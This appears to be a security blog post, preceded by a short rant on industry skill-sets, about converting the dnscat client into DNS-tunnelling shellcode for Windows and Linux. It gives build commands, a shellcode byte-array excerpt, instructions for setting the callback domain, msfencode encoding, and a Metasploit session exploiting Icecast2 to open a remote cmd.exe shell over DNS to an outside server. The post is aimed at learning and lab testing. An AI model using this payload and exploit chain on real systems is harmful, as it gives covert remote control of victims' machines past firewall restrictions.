As to those who wear their exploit writing skills on their sleeve?  Go for it.  It gives you a competitive advantage and you earned that.  Just recognize that you aren't the standard for the industry.  Other guys can often do the job competently and may meet the specific needs of the clients more effectively.  There is nothing wrong with that.  (For the record, I don't support people who call VA scans pentests.  That's a different issue.)

I just think that we as an industry, need to recognize that people with differing skill-sets might be better suited to a particular job than we are.  That and everyone has to start somewhere.  So please, how about we stop defining skiddies as anyone missing a piece of our personal toolkit?

I've been letting other projects slip these last couple weeks because I was excited about converting dnscat into shellcode (or "weaponizing dnscat", as I enjoy saying). Even though I got into the security field with reverse engineering and writing hacks for games, I have never written more than a couple lines of x86 at a time, nor have I ever written shellcode, so this was an awesome learning experience. Most people start by writing shellcode that spawns a local shell; I decided to start with shellcode that implements a dnscat client in under 1024 bytes (for both Linux and Windows). Like I always say, go big or go home!

If you just want to grab the files, here are some links:

• Win32 shellcode - assembler
• Win32 shellcode - binary
• Win32 shellcode - C array
• Win32 Metasploit module
• Linux shellcode - assembler
• Linux shellcode - binary
• Linux shellcode - C array

If you want to get your hands dirty, you can compile the source -- right now, it's only in svn:

svn co http://svn.skullsecurity.org:81/ron/security/nbtool
cd nbtool
make

That'll compile both the standard dnscat client/server and, if you have nasm installed, the Linux and Windows shellcodes. On Windows, you'll need nasm to assemble it. I installed Cygwin, but you can compile the Windows shellcode on Linux or vice versa if you prefer. The output will be in samples/shellcode-*/. A .h file containing the C version will be generated, as well:

$ head -n3 dnscat-shell-test.h
char shellcode[] =
        "\xe9\xa2\x01\x00\x00\x5d\x81\xec\x00\x04\x00\x00\xe8\x4e\x03\x00"
        "\x00\x31\xdb\x80\xc3\x09\x89\xef\xe8\x2e\x03\x00\x00\x80\xc3\x06"
...

And, of course, the raw file is output (without an extension), that can be run through msfencode or embedded into a script:

 $ make
[...]
$ wc -c samples/shellcode-win32/dnscat-shell-win32
997 samples/shellcode-win32/dnscat-shell-win32
$ wc -c samples/shellcode-linux/dnscat-shell-linux
988 samples/shellcode-linux/dnscat-shell-linux

Unless you want to be sending your cmd.exe (or sh) shell to skullseclabs.org, you'll have to modify the domain as well -- the very last line in the assembly code for both Windows and Linux is this:

get_domain:
 call get_domain_top
 db 1, 'a' ; random
 db 12,'skullseclabs' ; <-- To modify domain, change this...
 db 3,'org' ; <-- and this. The number is the section length.
 db 0

The two lines with the domain have to be changed. The number preceding the name is, as the comment says, the length of the section ('skullseclabs' is 12 bytes, and 'org' is 3 bytes). This process is automated with the Metasploit payload, as you'll see.

Encoding with msfencode

msfencode from the Metasploit project is a beautiful utility. I highly recommend running shellcode through it before using it. The most useful aspect with shellcode is, at least to me, the ability to eliminate characters. So, if I need to get rid of \x00 (null) characters from my strings, it's as easy as:

$ msfencode -b "\x00" < dnscat-shell-win32 > dnscat-shell-win32-encoded
[*] x86/shikata_ga_nai succeeded with size 1024 (iteration=1)

If you're planning on using this in, for example, Metasploit, you don't have to worry about the msfencode step -- it'll do that for you.

Metasploit payload

Speaking of metasploit, yes! I wrote a metasploit payload for dnscat.

First, there are a number of caveats:

• This is highly experimental
• This doesn't have a proper "exitfunc" call -- it just returns and probably crashes the process
• This is set up as a single stage, right now, and is 1000 or so bytes -- as a result, it won't work against most vulnerabilities
• The dnscat server isn't part of Metasploit, yet, so you'll have to compile run it separately

That being said, it also works great when it's usable. The target I use for testing is Icecast 2 version 2.0.0 (WARNING: don't install vulnerable software on anything important!), which is included on the SANS 560 and 504 CDs (thanks Ed!). It's free, GPL, reliable, and has 2000 bytes in which to stuff the payload.

So, the steps you need to take are,

1. Install Icecast2 on your victim machine (Win32)
2. Download the experimental dnscat Metasploit module and put it in your Metasploit directory (modules/payloads/singles/windows/)
3. Fire up a dnscat server on your authoritative DNS server (dnscat --listen) -- see the dnscat wiki for more information
4. Run Metasploit (msfconsole) and enter the following commands:

msf > use exploit/windows/http/icecast_header

msf exploit(icecast_header) > set PAYLOAD windows/dnscat-shell-win32
PAYLOAD => windows/dnscat-shell-win32

msf exploit(icecast_header) > set RHOST 192.168.1.221
RHOST => 192.168.1.221

msf exploit(icecast_header) > set DOMAIN skullseclabs.org
DOMAIN => skullseclabs.org

msf exploit(icecast_header) > exploit
[*] Exploit completed, but no session was created.

Meanwhile, on your dnscat server, if all went well, you should see:

$ sudo ./dnscat --listen
Waiting for DNS requests for domain '*' on 0.0.0.0:53...
Switching stream -> datagram
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Program Files\Icecast2 Win32>

You can type commands in, and they'll run just like a normal shell. Be warned, though, that it is somewhat slow, due to the nature of going through DNS.

Why bother?

The big advantage to this over traditional shellcode is that no port, whether inbound or outbound, is required! As long as the server has a DNS server set that will perform recursive lookups, it'll work great!

Feedback

As I said, this is the first time I've ever written shellcode or x86. I'm sure there are lots of places where it could be significantly improved, and I'd love to hear feedback from the folks who really know what they're doing and can help me improve my code.

Thanks!

]]> http://www.skullsecurity.org/blog/?feed=rss2&p=611 10